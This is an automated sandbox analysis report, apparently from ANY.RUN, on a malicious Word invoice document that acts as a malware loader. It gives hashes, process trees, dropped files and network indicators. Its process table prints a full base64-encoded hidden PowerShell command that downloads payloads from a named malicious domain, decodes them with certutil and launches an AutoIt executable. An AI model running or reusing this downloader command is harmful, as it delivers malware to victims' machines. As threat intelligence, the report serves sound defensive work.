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| download: | gpay_Invoice.doc |
| Full analysis: | https://app.any.run/tasks/3ff18fd6-b367-4d77-9e70-d83e1e78b5f1 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 30, 2020, 20:09:45 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: user, Template: Normal, Last Saved By: User, Revision Number: 17, Name of Creating Application: Microsoft Office Word, Total Editing Time: 16:00, Create Time/Date: Mon Mar 23 21:08:00 2020, Last Saved Time/Date: Mon Mar 30 15:05:00 2020, Number of Pages: 1, Number of Words: 91, Number of Characters: 519, Security: 0 |
| MD5: | 4A401D041E4208772C05DECCF0B614BB |
| SHA1: | 03F669BF1BB6E40F5677F6A65C6F7583CC0F3FCF |
| SHA256: | 734A56F1E63DCEA04A5454D009AF25002B3FE58BB493EEB3CE7F77112B6B9776 |
| SSDEEP: | 3072:jeijcTqxcqr3fYp0koMP21RCERChq+hr0vvvvyGPPPPPjZsWcc8qsFimBx+knro2:J8qsFiMx+kroLU |
MALICIOUS
Application was dropped or rewritten from another process
- tkold.com (PID: 4032)
- tkold.com (PID: 2084)
Uses SVCHOST.EXE for hidden code execution
- tkold.com (PID: 4032)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 3976)
Starts application with an unusual extension
- powershell.exe (PID: 3976)
- tkold.com (PID: 2084)
Creates files in the user directory
- powershell.exe (PID: 3976)
Starts CertUtil for decode files
- powershell.exe (PID: 3976)
Executed via WMI
- powershell.exe (PID: 3976)
Application launched itself
- tkold.com (PID: 2084)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3000)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3000)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | user |
| Keywords: | - |
| Comments: | - |
| Template: | Normal |
| LastModifiedBy: | User |
| RevisionNumber: | 17 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 16.0 minutes |
| CreateDate: | 2020:03:23 21:08:00 |
| ModifyDate: | 2020:03:30 14:05:00 |
| Pages: | 1 |
| Words: | 91 |
| Characters: | 519 |
| Security: | None |
| CodePage: | Unicode (UTF-8) |
| Company: | diakov.net |
| Lines: | 4 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 609 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | - |
| CompObjUserType: | - |
Total processes
44
Monitored processes
6
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3000 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\gpay_Invoice.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3976 | powershell -windowstyle hidden -en SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvAHMAaABvAHcAMgAuAHcAZQBiAHMAaQB0AGUALwBnAGUAWgBqAFMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAG4ATQBiAGQALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAGEAYwBQAE0AUQAuAGQAYQB0ACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAdABrAG8AbABkAC4AYwBvAG0AIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAB4AHQAZAA0ADIAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAUABNAFEALgBjAG8AbQAiADsAIABTAGUAdAAtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHgAdABkADQAMgAgAHkAMgA5AHgAMwA7ACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAdABrAG8AbABkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHkAMgA5AHgAMwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2436 | "C:\Windows\system32\certutil.exe" -decode xtd42 y29x3 | C:\Windows\system32\certutil.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2084 | "C:\Users\admin\AppData\Local\Temp\tkold.com" y29x3 | C:\Users\admin\AppData\Local\Temp\tkold.com | — | powershell.exe |
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script Exit code: 0 Version: 3, 3, 14, 5 | ||||
| 4032 | C:\Users\admin\AppData\Local\Temp\tkold.com y29x3 | C:\Users\admin\AppData\Local\Temp\tkold.com | — | tkold.com |
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script Exit code: 0 Version: 3, 3, 14, 5 | ||||
| 924 | "C:\Windows\system32\svchost.exe" | C:\Windows\system32\svchost.exe | tkold.com | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host Process for Windows Services Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
2 131
Read events
1 354
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
4
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6BA3.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3976 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AYUCHS0XSVNUQ1WADMY6.temp | — | |
MD5:— | SHA256:— | |||
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF084DA9211E89D001.TMP | — | |
MD5:— | SHA256:— | |||
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{59C3E6C1-8BBB-44DA-8C8C-0D8BB9CF1028}.tmp | — | |
MD5:— | SHA256:— | |||
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{01B590A7-36FC-494C-91F7-927188210614}.tmp | — | |
MD5:— | SHA256:— | |||
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{47307774-F6B0-4948-A379-33941706C327}.tmp | — | |
MD5:— | SHA256:— | |||
| 3976 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa67d46.TMP | binary | |
MD5:3B712DE36DC1672EC51A90C5EE31744F | SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1 | |||
| 3976 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3B712DE36DC1672EC51A90C5EE31744F | SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1 | |||
| 3000 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B0A3EC3E7ABB14A786EC6F4A4CCD0F4F | SHA256:148C146F8E839E2C236E104BB15A10CF45FD56D09A4D2078DB1EAA4825C5933F | |||
| 3000 | WINWORD.EXE | C:\Users\admin\Desktop\~$ay_Invoice.doc | pgc | |
MD5:AE69786DC6991E772891CB60D01E5234 | SHA256:5EC8FA297E5E28A4C2D5826D067DDFDA7DB16C50E8D85457263DE592B4C14801 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
2
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 200 | 93.126.60.42:80 | http://show2.website/nMbd.dat | IR | — | — | malicious |
— | — | HEAD | 200 | 93.126.60.42:80 | http://show2.website/geZjS.dat | IR | — | — | malicious |
924 | svchost.exe | GET | — | 122.122.122.122:80 | http://krt2.site/ | TW | — | — | malicious |
— | — | HEAD | 200 | 93.126.60.42:80 | http://show2.website/acPMQ.dat | IR | — | — | malicious |
— | — | GET | 200 | 93.126.60.42:80 | http://show2.website/acPMQ.dat | IR | binary | 91.5 Kb | malicious |
— | — | GET | 200 | 93.126.60.42:80 | http://show2.website/nMbd.dat | IR | text | 263 Kb | malicious |
— | — | GET | 200 | 93.126.60.42:80 | http://show2.website/geZjS.dat | IR | executable | 872 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 122.122.122.122:80 | krt2.site | Data Communication Business Group | TW | suspicious |
— | — | 93.126.60.42:80 | show2.website | Asmanfaraz Sepahan Isdp (pjs) | IR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
show2.website |
| malicious |
krt1.site |
| malicious |
krt2.site |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Misc activity | ET INFO Certificate with Unknown Content M1 |